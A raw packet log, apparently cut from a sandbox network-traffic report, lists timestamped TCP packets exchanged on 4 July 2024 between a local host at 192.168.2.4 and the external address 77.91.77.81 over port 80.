Jul 4, 2024 20:34:28.817514896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817538023 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817548990 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817555904 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817576885 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817599058 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817609072 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817615032 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817620039 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817625999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817675114 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817688942 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817735910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817747116 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817771912 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817783117 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817811966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817827940 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817838907 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817850113 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817867041 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817894936 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817917109 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817928076 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817933083 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817936897 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817940950 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817953110 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817960978 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.817980051 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.817991972 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818011999 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818027973 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818037987 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818047047 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818052053 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818104029 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818121910 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818130970 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818131924 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818144083 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818173885 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818234921 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818244934 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818254948 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818264961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818274021 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818294048 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818296909 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818304062 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818315029 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818339109 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818350077 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818428993 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818444014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818454027 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818466902 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818475962 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818479061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818502903 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818516970 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818576097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818586111 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818597078 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818622112 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818641901 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818646908 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818653107 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818662882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818685055 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818732023 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818758011 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818774939 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818783998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818794012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818804979 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818824053 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818847895 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818852901 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818862915 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818873882 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818901062 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818933010 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.818933010 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818943977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818953991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818964958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818975925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.818990946 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.819005966 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.819016933 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.819041014 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.819076061 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.819097042 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.819108009 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.819143057 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.819154024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.819154024 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.819189072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.820812941 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.848787069 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848798037 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848807096 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848829985 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848839045 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848844051 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848850012 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.848854065 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.848901033 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.848901033 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884332895 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884382963 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884392977 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884409904 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884419918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884443045 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884463072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884473085 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884489059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884500027 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884510040 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884521008 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884526968 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884530067 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884543896 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884555101 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884557962 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884565115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884598970 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884649992 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884659052 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884670019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884679079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884680986 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884689093 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884697914 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884707928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884712934 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884720087 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884728909 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884740114 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884740114 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884754896 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884766102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.884773970 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.884804964 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912381887 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912394047 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912435055 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912445068 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912446022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912455082 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912506104 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912506104 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912514925 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912524939 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912535906 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912547112 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912552118 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912556887 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912575960 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912609100 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912610054 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912610054 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912619114 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912631035 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912640095 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912652969 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912672043 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912681103 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912683010 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912708998 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912710905 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912764072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912817955 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912828922 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912838936 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912851095 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912852049 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912861109 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912867069 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912889004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912894011 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912904024 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912908077 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912936926 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912946939 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.912971973 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912981987 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.912992001 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913008928 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913019896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913019896 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913029909 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913041115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913044930 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913050890 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913070917 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913101912 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913193941 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913204908 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913219929 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913275957 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913281918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913291931 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913302898 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913302898 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913311005 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913314104 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913328886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913331032 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913347006 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913357019 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913367033 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913376093 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913377047 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913389921 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913408995 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913429022 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913450956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913461924 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913470984 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913496971 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913536072 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913538933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913549900 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913559914 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913569927 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913583040 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913608074 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913616896 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913625956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913636923 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913647890 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913661003 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913681984 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913738012 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913748026 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913764954 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913774967 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913783073 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913790941 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913796902 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913808107 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913819075 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913824081 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913829088 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913839102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913846016 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913875103 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913899899 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913918018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913928032 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.913957119 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.913959980 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914089918 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914099932 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914108992 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914119005 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914123058 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914141893 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914155960 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914211035 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914222956 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914235115 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914256096 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914279938 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914284945 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914294958 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914304972 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914319038 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914330959 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914335966 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914346933 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914351940 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914355040 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914376974 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914385080 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914388895 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914416075 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914438009 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914609909 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914618969 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914633036 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914648056 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914671898 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914696932 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914706945 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914719105 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914741993 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914761066 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914784908 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914796114 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.914824963 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.914835930 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.944339991 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944350004 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944355011 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944360018 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944365025 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944369078 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944374084 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944492102 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.944628954 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.944628954 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.979866982 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979880095 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979888916 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979952097 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979963064 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979971886 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979983091 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.979994059 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980052948 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980052948 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980052948 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980055094 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980077982 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980078936 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980089903 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980093956 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980109930 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980123043 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980190039 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980200052 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980210066 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980220079 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980232000 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980237961 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980247021 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980262041 CEST	80	49747	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:28.980262041 CEST	49747	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:28.980271101 CEST	49747	80	192.168.2.4	77.91.77.81
